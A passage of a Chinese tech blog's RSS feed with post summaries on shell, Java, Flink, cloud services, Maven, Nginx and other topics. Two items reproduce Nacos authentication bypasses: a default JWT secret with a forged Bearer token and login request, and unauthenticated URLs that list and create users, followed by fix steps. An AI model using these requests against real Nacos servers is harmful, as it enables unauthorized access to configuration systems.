      <description>概述 return 返回&#xA;shell中通过return返回是有限制的，必须是数字，最大返回255，超过255，则从0开始计算。&#xA;通常仅返回0或1；0表示成功，1表示失败。通过echo 直接返回。&#xA;在没有return 语句，函数将以最后一条命令运行结果，作为返回值。因此，通常在最后一行以echo “xxx”语句作为返回值。&#xA;如果有多条echo，则以最后一个echo为返回值。&#xA;通常用于返回数据，比如一个字符串值或者列表值 1、返回值的方式： 方法一：return&#xA;方法二： echo&#xA;2、return和echo使用场景区别： (1).使用return返回值：&#xA;使用return返回值，只能返回1-255的整数&#xA;函数使用return返回值，通常只是用来供其他地方调用获取状态，因此通常仅返回0或1；0表示成功，1表示失败&#xA;(2).使用echo返回值：&#xA;使用echo可以返回任何字符串结果&#xA;通常用于返回数据，比如一个字符串值或者列表值&#xA;3、场景示例&#xA;(一) return使用场景&#xA;函数通过return返回一个整数，这种场景通常是用来做判断的，也就是说在执行完函数之后，需要根据它的返回值做判断，通0表示成功，非0都是表示失败。&#xA;#!/bin/bash this_pid=$$ # 判断nginx进程是否正在运行 function is_nginx_running { ps -ef | grep nginx | grep -v grep | grep -v $this_pid &amp;amp;&amp;gt;/tmp/null if [ $? -eq 0 ];then # return 0,也可以省略0直接return,两个是等价 return else return 1 fi } # return在函数中的返回值，只是用来做状态判断的，根据状态值做下一步判断 # 函数的返回值为0时，表示nginx服务运行正常输出 &amp;amp;&amp;amp; 后字符串，否则返回 ||后字符串 is_nginx_running &amp;amp;&amp;amp; echo &#34;</description>
    </item>
    <item>
      <title>微信小程序 30分钟倒计时功能</title>
      <link>https://bchobby.github.io/posts/735afd0769a529cb5c6bc329b801d034/</link>
      <pubDate>Wed, 15 Nov 2023 14:10:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/735afd0769a529cb5c6bc329b801d034/</guid>
      <description>ps:凑个数 getTimeDiff(date) { let _this = this; let curTime = new Date(date) _this.countDown(_this.timeFormatConvert(new Date(curTime.setMinutes(curTime.getMinutes() + 30)))) }, timeFormatConvert(e) { const Y = e.getFullYear(); // 年 const M = this.prefixZero(e.getMonth() + 1); // 月 const D = this.prefixZero(e.getDate()); // 日 const H = this.prefixZero(e.getHours()); // 时 const Mi = this.prefixZero(e.getMinutes()); // 分 const S = this.prefixZero(e.getSeconds()); // 秒 return Y + &#34;-&#34; + M + &#34;-&#34; + D + &#34; &#34;</description>
    </item>
    <item>
      <title>Flink之数据擦除及自定义Evictor</title>
      <link>https://bchobby.github.io/posts/097eb0596189d65a6b833c99437fb8d4/</link>
      <pubDate>Wed, 15 Nov 2023 11:46:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/097eb0596189d65a6b833c99437fb8d4/</guid>
      <description>1 窗口数据移除机制 Flink中窗口数据移除机制是通过Evictor来控制的, Flink内置的Evictor如下: DeltaEvictorTimeEvictorCountEvictor Evictor的作用就是在窗口触发前或窗口触发中将其中的某些数据进行移除. 1.1 源码解析 关于Evictor的源码只需要关注三个方法就可以了evictBefore,evictAfter,evict.&#xA;源码内容如下:&#xA;public class TimeEvictor&amp;lt;W extends Window&amp;gt; implements Evictor&amp;lt;Object, W&amp;gt; { // ... // doEvictAfter默认为false // 窗口计算前擦除数据 @Override public void evictBefore( Iterable&amp;lt;TimestampedValue&amp;lt;Object&amp;gt;&amp;gt; elements, int size, W window, EvictorContext ctx) { if (!doEvictAfter) { // 执行数据擦除方法 evict(elements, size, ctx); } } // 窗口计算后擦除数据 @Override public void evictAfter( Iterable&amp;lt;TimestampedValue&amp;lt;Object&amp;gt;&amp;gt; elements, int size, W window, EvictorContext ctx) { if (doEvictAfter) { // 执行数据擦除方法 evict(elements, size, ctx); } } // 擦除数据逻辑 private void evict(Iterable&amp;lt;TimestampedValue&amp;lt;Object&amp;gt;&amp;gt; elements, int size, EvictorContext ctx) { if (!</description>
    </item>
    <item>
      <title>SpringEvent事件通知机制</title>
      <link>https://bchobby.github.io/posts/20cf8758d0bcd739d98a90ced8103666/</link>
      <pubDate>Wed, 15 Nov 2023 10:07:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/20cf8758d0bcd739d98a90ced8103666/</guid>
      <description>“Spring Event” 是 Spring 框架通过事件驱动的编程模型来处理应用程序中的事件。开发者可以定义自己的事件，然后在应用程序中触发这些事件。Spring 框架提供了用于发布和监听事件的机制，以实现松散耦合的组件间通信。&#xA;有两个核心组件：&#xA;事件监听器 案例代码：&#xA;1.创建事件&#xA;@Getter public class UserRegisterEvent extends ApplicationEvent { private User user; public UserRegisterEvent(Object source, User user) { super(source); System.out.println(source); this.user = user; } } 2.创建监听器&#xA;@Slf4j @Component public class UserRegisterListener { @Autowired private UserBackpackService userBackpackService; @EventListener(classes = UserRegisterEvent.class) public void sendCard(UserRegisterEvent event) { User user = event.getUser(); System.out.println(&#34;给&#34;+user.getId()+&#34;发改名卡...&#34;); } } 3.发布事件&#xA;@Service public class UserServiceImpl implements UserService { @Autowired ApplicationEventPublisher applicationEventPublisher; @Override public void register(User user) { userDao.</description>
    </item>
    <item>
      <title>python django &#43; 微信小程序 商城源码</title>
      <link>https://bchobby.github.io/posts/ef0d40b0f7e6c51d1c7411e82e3ffb35/</link>
      <pubDate>Tue, 14 Nov 2023 19:36:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ef0d40b0f7e6c51d1c7411e82e3ffb35/</guid>
      <description>一、背景介绍&#xA;随着互联网的快速发展，线上购物越来越普及，而商城小程序作为一种便捷的购物方式，正逐渐成为消费者的首选。为了满足市场需求，我们利用Django和微信小程序技术，设计并实现了一个智能商城小程序，旨在为用户提供更加便捷、智能的购物体验。&#xA;二、技术选型&#xA;后端框架：Django&#xA;Django是一个基于Python的开源Web框架，具有强大的功能和灵活性。我们使用Django作为后端框架，处理逻辑和数据管理，为前端微信小程序提供API接口。前端框架：微信小程序&#xA;微信小程序是一种轻量级的应用程序，具有即开即用、无需下载安装等特点。我们使用微信小程序作为前端框架，通过API接口与后端进行数据交互，实现商城小程序的各项功能。 三、功能实现&#xA;登录注册功能&#xA;商城小程序支持用户登录和注册功能。用户可以通过输入用户名和密码进行登录，也可以通过授权登录快速进入小程序。注册功能允许用户填写个人信息并设置密码。商品搜索功能&#xA;商城小程序提供商品搜索功能，用户可以通过输入商品名称或关键字搜索相关商品。后端通过Django处理搜索逻辑，返回搜索结果给前端微信小程序展示。首页轮播图展示功能&#xA;商城小程序的首页轮播图会展示热门商品、促销活动等信息。我们通过Django提供轮播图数据接口，前端微信小程序使用API接口获取数据并展示轮播图。商品分类展示功能&#xA;商城小程序支持商品分类展示，用户可以查看不同分类的商品列表。后端通过Django处理分类数据，前端微信小程序使用API接口获取数据并展示分类列表。点击分类可查看对应商品的详情信息。商品详情及购物车功能&#xA;用户点击商品后，商城小程序会展示商品详情页面，包括商品名称、价格、图片、描述等信息。用户可以将商品加入购物车或直接下单购买。购物车页面显示已添加的商品及数量，用户可以修改数量或删除商品。点击“结算”按钮可进入订单确认页面。个人中心功能&#xA;商城小程序的个人中心页面显示用户个人信息，如用户名、头像、积分等。用户可以编辑个人信息、查看订单信息（包括待支付、已支付、已取消等状态）、管理收货地址及查看收藏的商品等。后台管理功能&#xA;商城小程序的后台管理界面包括统计分析、用户管理、广告管理、分类管理、商品管理、订单管理、评价管理和管理员管理等模块。通过这些模块，管理员可以对商城进行全面管理，包括查看用户数据、分析销售情况、调整广告策略、管理商品信息等。 代码截图：&#xA;项目截图：</description>
    </item>
    <item>
      <title>Unity打包带管理员权限请求(VS2022)</title>
      <link>https://bchobby.github.io/posts/14e9d2524c35af6496163f8d594a2380/</link>
      <pubDate>Tue, 14 Nov 2023 18:39:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/14e9d2524c35af6496163f8d594a2380/</guid>
      <description>Unity笔记 Unity打包exe并设置以管理员权限运行 - 哔哩哔哩&#xA;这个大佬的方法完全可用</description>
    </item>
    <item>
      <title>【华为云IaaS基础三件套之----计算ECS、网络EIP、存储EVS】</title>
      <link>https://bchobby.github.io/posts/d74d85cb7865eb5e30ee88e5e118d581/</link>
      <pubDate>Tue, 14 Nov 2023 18:17:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d74d85cb7865eb5e30ee88e5e118d581/</guid>
      <description>MD@[华为云IaaS基础三件套----计算、网络、存储]&#xA;华为云IaaS基础三件套之----计算ECS、网络EIP、存储EVS 说明: 这里只是简单从计算/网络/存储，进行介绍，阐明云上对于云下的优势；因ECS是三者综合，故最后说明。&#xA;1.网络----弹性公网IP (EIP) 华为云EIP归属于不同region, 最终会在虚拟私有网络VPC内使用。&#xA;1.1 BGP类型可选（稳定） 1.线下IDC机房的网络，大多为静态BGP网络，由网络运营商手动配置的路由信息。当网络的拓扑结构或链路的状态发生变化时，运营商需要手动去修改路由表中相关的静态路由信息。&#xA;2.云上网络可选择动态BGP，使用BGP协议同时接入多个运营商，可支持20多条线路。可以根据设定的寻路协议实时自动优化网络结构，自动故障切换，保持网络持续稳定，高效。&#xA;3.动态BGP的服务可用性高达99.95%&#xA;参考文档: 静态BGP、全动态BGP之间有何区别？&#xA;1.2 弹性灵活 1.线下IDC机房的网络，带宽大小常年固定，购买后更改较为麻烦，如遇到临时性业务峰值（例如：双11），无法弹性扩容。&#xA;2.华为云EIP，可在EIP控制台–&amp;gt;带宽加油包–&amp;gt;临时按天按需进行扩容, 有效避免浪费。&#xA;参考文档: 华为云带宽加油包&#xA;1.3 简单易用 1.带宽绑定/解绑服务器、带宽调整，一键操作，实时生效。无需重启机器, 简单易用。&#xA;2.弹性公网IP支持与ECS、NAT网关、ELB、虚拟IP灵活的绑定与解绑，自动绑定网卡，无需手动配置。&#xA;1.4 安全可靠（结合VPC和ACL） 1.VPC之间通过隧道技术进行100%逻辑隔离，不同VPC之间默认不能通信。&#xA;2.网络ACL对子网进行防护，安全组对弹性云服务器进行防护，多重防护您的网络更安全。&#xA;2.存储----云硬盘(EVS) 云上存储有4种，云硬盘EVS、本地磁盘、弹性文件服务器SFS、对象存储OBS。这里只介绍最基本的EVS，相当于计算的硬盘。&#xA;2.1 稳定可靠 1.三副本技术: 云硬盘的存储系统采用三副本机制来保证数据的可靠性，即针对某份数据，默认将数据分为1 MiB大小的数据块，每一个数据块被复制为3个副本，然后按照一定的分布式存储算法将这些副本保存在集群中的不同节点上。&#xA;2.技术特点: 2.2.1 存储系统自动确保3个数据副本分布在不同机柜的不同服务器的不同物理磁盘上，单个硬件设备的故障不会影响业务。2.2.2存储系统确保3个数据副本之间的数据强一致性。&#xA;例：对于服务器A的物理磁盘A上的数据块P1，系统将它的数据备份为服务器B的物理磁盘B上的P1’‘和服务器C的物理磁盘C上的P1’，P1、P1’和P1’‘共同构成了同一个数据块的三个副本。若P1所在的物理磁盘发生故障，则P1’和P1’&#39;可以继续提供存储服务，确保业务不受影响。&#xA;参考文档: 云硬盘三副本技术&#xA;2.2 弹性灵活 1.硬盘扩容方便, 简单易用，也可根据需要实时升级成更高性能的硬盘类型（需要重启服务器）。&#xA;2.云硬盘支持可选多种类型：高IO/通用型SSD/超高IO/通用型SSD/极速型SSD。&#xA;参考文档: 磁盘类型及性能介绍&#xA;2.3 备份策略方便 1.华为云EVS有两种备份策略: 快照、备份。都极为方便 (云服务器还可一键制作镜像)&#xA;2.硬盘快照：免费, 每块硬盘可手动创建7个快照, 在进行数据风险操作时, 可采用此方式, 快速备份。（与云硬盘数据存储在一起）&#xA;操作路径: 云硬盘控制台–&amp;gt;找到需要建快照的硬盘–&amp;gt;点击–&amp;gt;快照页面–&amp;gt;创建快照&#xA;3.硬盘备份：按OBS存储量进行收费，便宜且可靠(100GB,3年,360)。可自定义备份策略，操作简单。&#xA;操作路径: 云硬盘控制台–&amp;gt;找到需要建备份的硬盘–&amp;gt;点击–&amp;gt;备份页面–&amp;gt;创建备份&#xA;参考文档: 备份和快照的区别&#xA;2.4 安全–云硬盘加密 当用户由于业务需求从而需要对存储在云硬盘的数据进行加密时，EVS为用户提供加密功能，可以对新创建的云硬盘进行加密。</description>
    </item>
    <item>
      <title>gurobi最新下载安装教程 2023.11</title>
      <link>https://bchobby.github.io/posts/abb7b59483045feb63ad26f54988d6b1/</link>
      <pubDate>Tue, 14 Nov 2023 18:04:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/abb7b59483045feb63ad26f54988d6b1/</guid>
      <description>文章目录 gurobi下载gurobi安装gurobi lincese获取添加系统环境变量 gurobi和pythonpython中调用gurobi gurobi下载 https://www.gurobi.com/&#xA;点击下载中心 download center&#xA;可以直接选择 Gurobi Optimizer下载&#xA;gurobi安装 gurobi可以通过python进行调用，但是需要先获得gurobi的lincese。&#xA;gurobi lincese获取 官网申请 academic&#xA;但这个激活码需要进行IP地址的验证。如果学校的网关没有将本校的 IP 地址标注为学术机构，那么会出现 Error 303/305 错误，IP 验证不会成功，学术许可不会激活。是否识别为学术机构与 Gurobi 原厂无关，是学校网络的设置问题。&#xA;2. gurobi中文网&#xA;http://www.gurobi.cn/NewsView1.Asp?id=4&#xA;在线PDF中填写自己的基本信息并手写签字，之后发邮件到help@gurobi.cn，实测不到一小时即可审核完毕，获得对应的许可。&#xA;添加系统环境变量 grbgetkey这个序号与计算机硬件捆绑，一旦激活就会失效。运行激活码之后，产生的 gurobi.lic 许可文件保存在以下目录：&#xA;Windows 操作系统：把 gurobi.lic 文件放在 c:\gurobi 目录下；Linux 操作系统： 把 gurobi.lic 文件放在 opt/gurobi 目录下；Mac 操作系统： 把 gurobi.lic 放在 /Library/gurobi 目录下；&#xA;如果没有这些目录，请创建一个。这是Gurobi 默认搜索位置。 如果保存到其他位置，需要创建 GRB_LICENSE_FILE 系统环境变量（不是用户环境变量），指向保存的目录和文件名（例如 GRB_LICENSE_FILE = C:\myfolder\gurobi.lic)。需要重启电脑使之生效。如果既放置在了上面的默认搜索目录，又设置了 GRB_LICENSE_FILE 系统环境变量指向不同的目录和文件，Gurobi 会以 GRB_LICENSE_FILE 的设置为准。&#xA;每台机器上只需要保存一个gurobi.lic 文件。请删除多余只保留一个。高版本产生的许可文件兼容低版本。&#xA;我这里放在E盘</description>
    </item>
    <item>
      <title>解决java发邮件错误javax.net.ssl.SSLHandshakeException: No appropriate protocol</title>
      <link>https://bchobby.github.io/posts/8120130230e92c084b7c6bbb55c2e7a6/</link>
      <pubDate>Tue, 14 Nov 2023 17:58:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8120130230e92c084b7c6bbb55c2e7a6/</guid>
      <description>java发送邮件时报以下错误信息：&#xA;javax.net.ssl.SSLHandshakeException: No appropriate protocol (protocol is disabled or cipher&#xA;[com.bm6api.controller.v1.AppUserController] - sendLoginAuthCodeMail 发送登录验证码邮件 : {&#34;code&#34;:200,&#34;info&#34;:&#34;Success&#34;} [org.springframework.web.servlet.mvc.method.annotation.RequestResponseBodyMethodProcessor] - Written [{&#34;code&#34;:200,&#34;info&#34;:&#34;Success&#34;}] as &#34;text/html&#34; using [org.springframework.http.converter.StringHttpMessageConverter@3c3f40cb] [org.springframework.web.servlet.DispatcherServlet] - Null ModelAndView returned to DispatcherServlet with name &#39;SpringMVC&#39;: assuming HandlerAdapter completed request handling [org.springframework.web.servlet.DispatcherServlet] - Successfully completed request [freemarker.cache] - TemplateLoader.findTemplateSource(&#34;email_login_auth_en_US.ftl&#34;): Not found [freemarker.cache] - TemplateLoader.findTemplateSource(&#34;email_login_auth_en.ftl&#34;): Not found [freemarker.cache] - TemplateLoader.findTemplateSource(&#34;email_login_auth.ftl&#34;): Found [freemarker.cache] - &#34;email_login_auth.ftl&#34;(&#34;en_US&#34;, UTF-8, parsed): using cached since javax.mail.MessagingException: Could not connect to SMTP host: smtp.</description>
    </item>
    <item>
      <title>Nacos漏洞复现合集</title>
      <link>https://bchobby.github.io/posts/3f66c38a1f12327f200bde92772687a0/</link>
      <pubDate>Tue, 14 Nov 2023 17:29:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3f66c38a1f12327f200bde92772687a0/</guid>
      <description>本文主要复现nacos的一些经典漏洞，既是分享也是为了记录自己的成长，近期会持续更新。&#xA;1. QVD-2023-6271 Nacos身份绕过漏洞 1.1 漏洞级别 ：高危 1.2 漏洞描述：低版本的Nacos存在默认的scertkey在未更换的情况下可以生成任意的可用accesstoken 1.3利用范围 nacos &amp;lt;=2.2.0 1.4 漏洞复现 先来重点介绍一下如何任意生成一个可用的accesstoken&#xA;在nacos中accesstoken的生成是通过jwt的字符串创建的。&#xA;在nacos中默认的secertkey为：&#xA;SecretKey012345678901234567890123456789012345678901234567890123456789 jwt的payload参数为&#xA;{ &#34;sub&#34;: &#34;nacos&#34;, &#34;exp&#34;: 1699974368 } #其中exp为时间戳，实际测试中这个时间戳早于或晚于当前时间都可以生效，如果无效的话可以调整时间戳到当前时间以后 至此一份完整的jwt生成数据就形成了&#xA;注：请注意红框部分的secret base64 encoded 必须勾选，否则生成的encoded就是错误的，笔者在此踩过雷。&#xA;至此万能accesstoken就生成了，实际测试一下：&#xA;在login接口的header添加下列参数&#xA;Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTYxODEyMzI5N30.YC6gtGxpYNDrSvNzmu2S4YF5Hd1Xwj1AJx5ZrdizO2A 一个完整的request包如下：(username和password可以随意填写)&#xA;POST /nacos/v1/auth/users/login HTTP/2 Host: User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/119.0 Accept: application/json, text/plain, */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Content-Length: 34 Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Te: trailers Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.</description>
    </item>
    <item>
      <title>Nacos 身份认证绕过漏洞（已修复）</title>
      <link>https://bchobby.github.io/posts/5bc5a215fce337d1e2681ed926879880/</link>
      <pubDate>Tue, 14 Nov 2023 16:50:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5bc5a215fce337d1e2681ed926879880/</guid>
      <description>Nacos存在权限绕过漏洞，攻击者利用该漏洞可以未授权访问用户列表（我的Nacos版本为1.2.1） 漏洞复现：&#xA;http://127.0.0.1:8849/nacos/v1/auth/users?pageNo=1&amp;amp;pageSize=9 利用漏洞复现问题&#xA;http://127.0.0.1:8849/nacos/v1/auth/users?username=test1&amp;amp;password=test1&#xA;可以这样创建用户&#xA;使用该账号发现可以登录账号&#xA;漏洞修复： 1.将Nacos升级到2.2.0.1或以上版本 2.此版本nacos配置文件开启鉴权，（默认是不开启的）nacos.core.auth.enabled=true 重新启动Nacos，再次测试：&#xA;测试完成，将创建的用户删除：&#xA;http://127.0.0.1:8849/nacos/v1/auth/users?username=test1</description>
    </item>
    <item>
      <title>如何正确使用 JavaScript 中的 slice() 方法</title>
      <link>https://bchobby.github.io/posts/648ebb3c1701b94ef32c9cb7a1dabe0f/</link>
      <pubDate>Tue, 14 Nov 2023 16:36:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/648ebb3c1701b94ef32c9cb7a1dabe0f/</guid>
      <description>在 JavaScript 中，slice() 是一个常用的数组方法，用于从现有数组中提取一部分元素，然后返回一个新的数组。它是一个非常有用的工具，可以帮助你在不改变原始数组的情况下操作数组的子集。本文将介绍 slice() 的基本概念、使用方法、实践案例和互动练习，以帮助你更好地理解和掌握这一功能强大的方法。&#xA;slice() 基本概念 在很多情况下，你可能需要从一个数组中提取特定范围的元素，而不希望改变原始数组，这就是 slice() 方法的用武之地。它接受两个参数：起始索引和结束索引（不包含在提取范围内）。通过指定这两个参数，你可以轻松地创建一个新的数组，其中包含原始数组中指定范围的元素。&#xA;其语法为：&#xA;array.slice(begin, end) 参数说明:&#xA;begin:extraction 开始位置的索引(从0开始)end:extraction 结束位置的索引(但该位置的元素本身不包括在内) slice() 的使用方法 在 JavaScript 中，slice() 方法有两种常见的用法：&#xA;1. 提取指定范围的元素 const originalArray = [1, 2, 3, 4, 5]; const newArray = originalArray.slice(1, 4); console.log(newArray); // 输出: [2, 3, 4] 在上面的示例中，originalArray 是原始数组，我们使用 slice(1, 4) 提取了索引 1 到 3 之间的元素（不包括索引 4），然后创建了一个新的数组 newArray。&#xA;2. 复制整个数组 你还可以使用 slice() 来复制整个数组：&#xA;const originalArray = [1, 2, 3, 4, 5]; const newArray = originalArray.</description>
    </item>
    <item>
      <title>Java中将ByteArrayOutputStream转换为ByteArrayInputStream</title>
      <link>https://bchobby.github.io/posts/5bbb21a1ab07106772e4767c2379e73b/</link>
      <pubDate>Tue, 14 Nov 2023 16:05:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5bbb21a1ab07106772e4767c2379e73b/</guid>
      <description> 代码示例：&#xA;package com.thb; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; public class Demo3 { public static void main(String[] args) { ByteArrayOutputStream bos = new ByteArrayOutputStream(); // 在输出流中写入数据 bos.writeBytes(&#34;hello&#34;.getBytes()); // 将 ByteArrayOutputStream中的内容转换为字节数组，输入到ByteArrayInputStream中 ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray()); // 取出ByteArrayInputStream中的字节 byte[] bytes = bis.readAllBytes(); for (int i = 0; i &amp;lt; bytes.length; i++) { System.out.println((char)bytes[i]); } } } 运行输出：&#xA;h e l l o </description>
    </item>
    <item>
      <title>Maven 的 spring-boot-maven-plugin 红色报错</title>
      <link>https://bchobby.github.io/posts/aea10d4b5ede713fef3f62afdd73e6df/</link>
      <pubDate>Tue, 14 Nov 2023 15:05:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aea10d4b5ede713fef3f62afdd73e6df/</guid>
      <description>1、想要处理此情况，在工具下面加上指定的版本号。&#xA;2、给自己的maven的setting文件加工一下。&#xA;&amp;lt;mirrors&amp;gt; &amp;lt;!--阿里云镜像1--&amp;gt; &amp;lt;mirror&amp;gt; &amp;lt;id&amp;gt;aliyunId&amp;lt;/id&amp;gt; &amp;lt;mirrorOf&amp;gt;central&amp;lt;/mirrorOf&amp;gt; &amp;lt;name&amp;gt;aliyun maven&amp;lt;/name&amp;gt; &amp;lt;url&amp;gt;https://maven.aliyun.com/repository/central&amp;lt;/url&amp;gt; &amp;lt;/mirror&amp;gt; &amp;lt;!--阿里云镜像2--&amp;gt; &amp;lt;mirror&amp;gt; &amp;lt;id&amp;gt;alimaven&amp;lt;/id&amp;gt; &amp;lt;mirrorOf&amp;gt;central&amp;lt;/mirrorOf&amp;gt; &amp;lt;name&amp;gt;aliyun maven&amp;lt;/name&amp;gt; &amp;lt;url&amp;gt;https://maven.aliyun.com/nexus/content/groups/public/&amp;lt;/url&amp;gt; &amp;lt;/mirror&amp;gt; &amp;lt;!--阿里云镜像3--&amp;gt; &amp;lt;mirror&amp;gt; &amp;lt;id&amp;gt;alimaven&amp;lt;/id&amp;gt; &amp;lt;mirrorOf&amp;gt;central&amp;lt;/mirrorOf&amp;gt; &amp;lt;name&amp;gt;aliyun maven&amp;lt;/name&amp;gt; &amp;lt;url&amp;gt;https://maven.aliyun.com/nexus/content/repositories/central/&amp;lt;/url&amp;gt; &amp;lt;/mirror&amp;gt; &amp;lt;!--阿里云镜像4--&amp;gt; &amp;lt;mirror&amp;gt; &amp;lt;id&amp;gt;alimaven&amp;lt;/id&amp;gt; &amp;lt;mirrorOf&amp;gt;central&amp;lt;/mirrorOf&amp;gt; &amp;lt;name&amp;gt;aliyun maven&amp;lt;/name&amp;gt; &amp;lt;url&amp;gt;https://central.maven.org/maven2&amp;lt;/url&amp;gt; &amp;lt;/mirror&amp;gt; &amp;lt;!--maven官方镜像--&amp;gt; &amp;lt;mirror&amp;gt; &amp;lt;id&amp;gt;mirrorId&amp;lt;/id&amp;gt; &amp;lt;mirrorOf&amp;gt;central&amp;lt;/mirrorOf&amp;gt; &amp;lt;name&amp;gt;Human Readable Name&amp;lt;/name&amp;gt; &amp;lt;url&amp;gt;https://repol.maven.org/maven2/&amp;lt;/url&amp;gt; &amp;lt;/mirror&amp;gt; &amp;lt;/mirrors&amp;gt; 然后重新打开idea或者maven更新一下。</description>
    </item>
    <item>
      <title>A newer version of WinPcap (internal version 5.1.71.1819) is already</title>
      <link>https://bchobby.github.io/posts/27e72b2f5643980e6bfc3429c6cbd8d9/</link>
      <pubDate>Tue, 14 Nov 2023 14:57:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/27e72b2f5643980e6bfc3429c6cbd8d9/</guid>
      <description>背景 安装ensp时提示如下：&#xA;解决方法如下： 进入C盘下面路径：&#xA;C:\Windows\SysWOW64&#xA;把wpcap.dll 改为wpcap.dll.old&#xA;packet.dll改为packet.dll.old&#xA;改完之后从新安装ensp或者winpacp即可</description>
    </item>
    <item>
      <title>图像分类：对google/vit-large-patch32-384模型进行微调</title>
      <link>https://bchobby.github.io/posts/9a6c465c4af98980ab9cd97718c8a365/</link>
      <pubDate>Tue, 14 Nov 2023 14:22:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9a6c465c4af98980ab9cd97718c8a365/</guid>
      <description>背景： 图像分类是很常见的场景，比如日常的物体识别，可很多时候我们还需要根据自己的数据来训练自己的分类，大模型出现以后，我们不需要再重头来训练我们的模型，直接根据已经训练好的大模型进行微调即可，本文就针对google/vit-large-patch32-384模型进行微调。&#xA;数据准备： 数据准备参考huggingface如何加载本地数据集进行大模型训练-CSDN博客&#xA;代码： import json import os from PIL import Image from datasets import Dataset from sklearn.metrics import accuracy_score,f1_score, recall_score from transformers import AutoImageProcessor from torchvision.transforms import RandomResizedCrop, Compose, Normalize, ToTensor from transformers import AutoModelForImageClassification, TrainingArguments, Trainer from transformers import DefaultDataCollator path = &#39;/data/dataset/image&#39; def gen(path): image_json = os.path.join(path, &#34;image.json&#34;) with open(image_json, &#39;r&#39;) as f: # 读取JSON数据 data = json.load(f) for key, value in data.items(): imagePath = os.</description>
    </item>
    <item>
      <title>C&#43;&#43;基础之C&#43;&#43;中的输入输出</title>
      <link>https://bchobby.github.io/posts/29d90bc6295242747b9274bb67a801a7/</link>
      <pubDate>Tue, 14 Nov 2023 11:39:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/29d90bc6295242747b9274bb67a801a7/</guid>
      <description>文章目录 文章目录&#xA;前言&#xA;一、输入输出流&#xA;二、c++中输入输出语句&#xA;1.标准输入设备&#xA;2.标准输出设备&#xA;3.原理&#xA;三、iostream类库&#xA;前言 c++是一个重要的面向对象语言，本文梳理了c++中输入输出基本语法以及关于输入出相关知识的总结&#xA;一、输入输出流 输入输出是数据传送的过程，c++中将此过程形象的称为流，c++中输入输出流输入输出流是指由若干字节组成的序列，这些字节序列中的数据按顺序从一个对象传送到另一个对象。在输入操作时，字节流从输入设备流向内存；在输出操作时，字节流从内存流向输出设备。流中的内容可以是ASCII码值、二进制形式数据、数字音频视频、图形图像或者其他形式的信息。&#xA;（输入设备：如键盘、磁盘 输出设备：如屏幕、打印机等）&#xA;在c++中，输入输出流被定义为类，c++的I/O库中的类为流类，用流类定义的对象称为流对象。&#xA;二、c++中输入输出语句 1.标准输入设备 cin 是标准输入设备（相当于键盘），连续从键盘读取数据，&#34;&amp;gt;&amp;gt;&#34;为提取运算符。&#xA;输入的使用：cin &amp;gt;&amp;gt; 变量 （cin在输入字符串时，空格作为结束符）&#xA;2.标准输出设备 cout 是标准输出设备（相当于屏幕）,&#34;&amp;lt;&amp;lt;&#34;为插入运算符。&#xA;输出的使用：cout &amp;lt;&amp;lt; 输出项 &amp;lt;&amp;lt; endl (endl 相当于换行符&#34;\n&#34;)&#xA;代码示例如下：&#xA;#include &amp;lt;iostream&amp;gt; using namespace std; int main() { int a; char ch; cout &amp;lt;&amp;lt; &#34;请输入一个常数&#34; &amp;lt;&amp;lt; endl; cin &amp;gt;&amp;gt; a; cout &amp;lt;&amp;lt; &#34;请输入一个字母&#34; &amp;lt;&amp;lt; endl; cin &amp;gt;&amp;gt; ch; cout &amp;lt;&amp;lt; &#34;常数为&#34; &amp;lt;&amp;lt; a &amp;lt;&amp;lt; endl; cout &amp;lt;&amp;lt; &#34;</description>
    </item>
    <item>
      <title>Nginx 版本信息泄露解决方案</title>
      <link>https://bchobby.github.io/posts/75786ec283536aff1dbe3cdd355c17fc/</link>
      <pubDate>Tue, 14 Nov 2023 11:15:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/75786ec283536aff1dbe3cdd355c17fc/</guid>
      <description>Nginx 【CVE-2021-23017;CVE-2022-41742】&#xA;【影响】&#xA;攻击者可能使用泄露的版本信息来确定该版本服务器有哪些安全漏洞，据此展开进一步的攻击。以下是百度的请求示例，也是有版本泄露：&#xA;【解决方案】&#xA;在Server节点增加以下配置：&#xA;# 隐藏版本信息 server_tokens off; # 隐藏Response响应头 more_clear_headers &#34;server&#34;; Nginx官网&#xA;more_clear_headers 没有找到官网说明，不过这个参数确实可以去掉Response的 server 信息。如：</description>
    </item>
    <item>
      <title>Pytorch 冻结参数更新的三种方法</title>
      <link>https://bchobby.github.io/posts/c440094f5f4e09adc8ec5a5208254fef/</link>
      <pubDate>Tue, 14 Nov 2023 10:49:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c440094f5f4e09adc8ec5a5208254fef/</guid>
